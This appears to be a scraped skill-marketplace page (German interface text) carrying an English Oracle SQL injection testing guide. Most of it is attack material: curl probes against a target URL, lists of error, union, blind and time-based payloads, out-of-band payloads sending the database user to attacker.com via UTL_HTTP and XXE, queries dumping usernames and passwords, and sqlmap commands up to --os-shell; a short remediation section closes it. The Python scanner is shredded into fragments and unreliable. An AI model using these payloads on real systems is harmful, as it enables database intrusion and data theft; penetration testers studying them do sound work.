Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Oracle-specific SQL injection testing focuses on exploiting Oracle Database features, syntax, and built-in functions. Oracle's unique characteristics include PL/SQL, dual table, specific error messages, and distinct functions that can be leveraged for detection and exploitation.
What to Check
Oracle-specific error messages
Oracle system tables
PL/SQL injection
Oracle functions exploitation
UTL_HTTP for out-of-band
XML functions
How to Test
Step 1: Oracle Detection
#!/bin/bash
TARGET="https://target.com/product?id="# Oracle-specific payloadsecho"[*] Testing for Oracle database..."# Error-based detection
curl -s "${TARGET}'" | grep -iE "ORA-[0-9]{5}"# Dual table test (Oracle-specific)
curl -s "${TARGET}1 AND 1=(SELECT 1 FROM DUAL)--"# Oracle version
curl -s "${TARGET}' UNION SELECT NULL,banner,NULL FROM v\$version--"# String concatenation (Oracle uses ||)
curl -s "${TARGET}1'||'test"# Oracle comment syntax
curl -s "${TARGET}1--" | head -20
"' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE ROWNUM=1))--"
"' AND 1=CTXSYS.DRITHSX.SN(1,'~'||(SELECT banner FROM v$version WHERE ROWNUM=1)||'~')--"
'union_based'
"' UNION SELECT NULL FROM DUAL--"
"' UNION SELECT NULL,NULL FROM DUAL--"
"' UNION SELECT NULL,NULL,NULL FROM DUAL--"
"' UNION SELECT NULL,banner,NULL FROM v$version--"
"' UNION SELECT NULL,user,NULL FROM DUAL--"
'boolean_based'
"' AND 1=1--"
"' AND 1=2--"
"' AND 'a'='a"
"' AND 'a'='b"
"1 AND (SELECT COUNT(*) FROM DUAL)=1"
"1 AND (SELECT COUNT(*) FROM DUAL)=2"
'time_based'
"' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--"
"' OR 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--"
"1 AND DBMS_LOCK.SLEEP(5)=1"
"' AND (SELECT CASE WHEN 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END FROM DUAL) IS NOT NULL--"
'out_of_band'
"' AND UTL_HTTP.REQUEST('http://attacker.com/oob?data='||(SELECT user FROM DUAL))=1--"
"' AND UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM DUAL)||'.attacker.com')=1--"
"' AND (SELECT EXTRACTVALUE(xmltype('<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM \"http://attacker.com/'||(SELECT user FROM DUAL)||'\"> %remote;]>'),'/l') FROM DUAL) IS NOT NULL--"
def
detect_oracle
self, param
"""Detect if backend is Oracle"""
print
f"[*] Detecting Oracle database..."
"' AND 1=(SELECT 1 FROM DUAL)--"
"' UNION SELECT NULL FROM DUAL--"
"' AND ROWNUM=1--"
"1'||'test"
# Oracle string concat
for
in
try
self
self
# Check for Oracle errors
for
in
self
if
print
f"[+] Oracle database detected!"
return
True
# Check for successful injection (no error on DUAL query)
if
'DUAL'
in
and
200
print
f"[+] Oracle likely (DUAL table accessible)"
return
True
except
as
pass
return
False
def
test_error_based
self, param
"""Test Oracle error-based injection"""
print
f"\n[*] Testing Oracle error-based injection..."
for
in
self
'error_based'
try
self
self
# Look for Oracle version or data in error
if
r'Oracle|ORA-|v\$version'
print
f"[VULN] Error-based SQLi!"
print
f" Payload: {payload[:60]}"
self
'type'
'Oracle Error-based SQLi'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_union_based
self, param
"""Test Oracle UNION-based injection"""
print
f"\n[*] Testing Oracle UNION-based injection..."
# First find number of columns
for
in
range
1
10
','
'NULL'
f"' UNION SELECT {null_list} FROM DUAL--"
try
self
self
# If no error, we found the column count
if
200
for
in
self
if
not
print
f"[+] Column count: {i}"
# Try to extract data
f"' UNION SELECT {null_list.replace('NULL', 'user', 1)} FROM DUAL--"
self
self
self
'type'
'Oracle UNION-based SQLi'
'columns'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
test_time_based
self, param
"""Test Oracle time-based blind injection"""
print
f"\n[*] Testing Oracle time-based injection..."
# Baseline time
self
self
'test'
30
for
in
self
'time_based'
try
self
self
30
if
4
print
f"[VULN] Time-based SQLi!"
print
f" Payload: {payload[:60]}"
print
f" Response time: {response_time:.2f}s"
self
'type'
'Oracle Time-based Blind SQLi'
'payload'
'response_time'
'severity'
'Critical'
return
True
except
print
f"[VULN] Time-based SQLi (timeout)!"
self
'type'
'Oracle Time-based Blind SQLi'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
run_tests
self, param='id'
"""Run all Oracle SQLi tests"""
if
self
self
self
self
self
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
60
print
"ORACLE SQL INJECTION REPORT"
print
"="
60
if
not
self
print
"\nNo Oracle SQLi vulnerabilities found."
else
for
in
self
print
f"\n[{f['severity']}] {f['type']}"
if
'payload'
in
print
f" Payload: {f['payload'][:70]}"
# Usage
"https://target.com/product"
'id'
Step 3: Oracle Data Extraction
-- Oracle VersionSELECT banner FROM v$version WHERE ROWNUM=1SELECT version FROM v$instance
-- Current UserSELECTuserFROM DUAL
SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
-- Database NameSELECT global_name FROM global_name
SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM DUAL
-- List TablesSELECT table_name FROM all_tables
SELECT table_name FROM user_tables
-- List ColumnsSELECT column_name FROM all_tab_columns WHERE table_name='USERS'-- Extract DataSELECT username,password FROM users
-- Stacked Queries (requires specific context)'; EXECUTE IMMEDIATE 'INSERT INTO log VALUES(''injected'')'--
-- File Reading (requires privileges)
SELECT * FROM (SELECT text FROM all_source WHERE name='UTL_FILE')
-- Command Execution (requires JAVA privileges)
-- Create Java class for command execution
-- Execute via DBMS_JAVA.RUNJAVA
Step 4: SQLMap Oracle Commands
# Detect and exploit Oracle SQLi
sqlmap -u "https://target.com/product?id=1" --dbms=oracle
# Get Oracle version
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --banner
# List databases
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --dbs
# List tables
sqlmap -u "https://target.com/product?id=1" --dbms=oracle -D ORCL --tables
# Dump data
sqlmap -u "https://target.com/product?id=1" --dbms=oracle -D ORCL -T USERS --dump
# OS shell (requires privileges)
sqlmap -u "https://target.com/product?id=1" --dbms=oracle --os-shell
Tools
Tool
Purpose
SQLMap
Automated Oracle SQLi
Oracle SQL Developer
Database client
Burp Suite
Manual testing
Remediation
// Java - PreparedStatement for OracleStringquery="SELECT * FROM users WHERE id = ?";
PreparedStatementpstmt= connection.prepareStatement(query);
pstmt.setInt(1, userId);
ResultSetrs= pstmt.executeQuery();
# Python - cx_Oracle with bind variablesimport cx_Oracle
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE id = :id", {'id': user_id})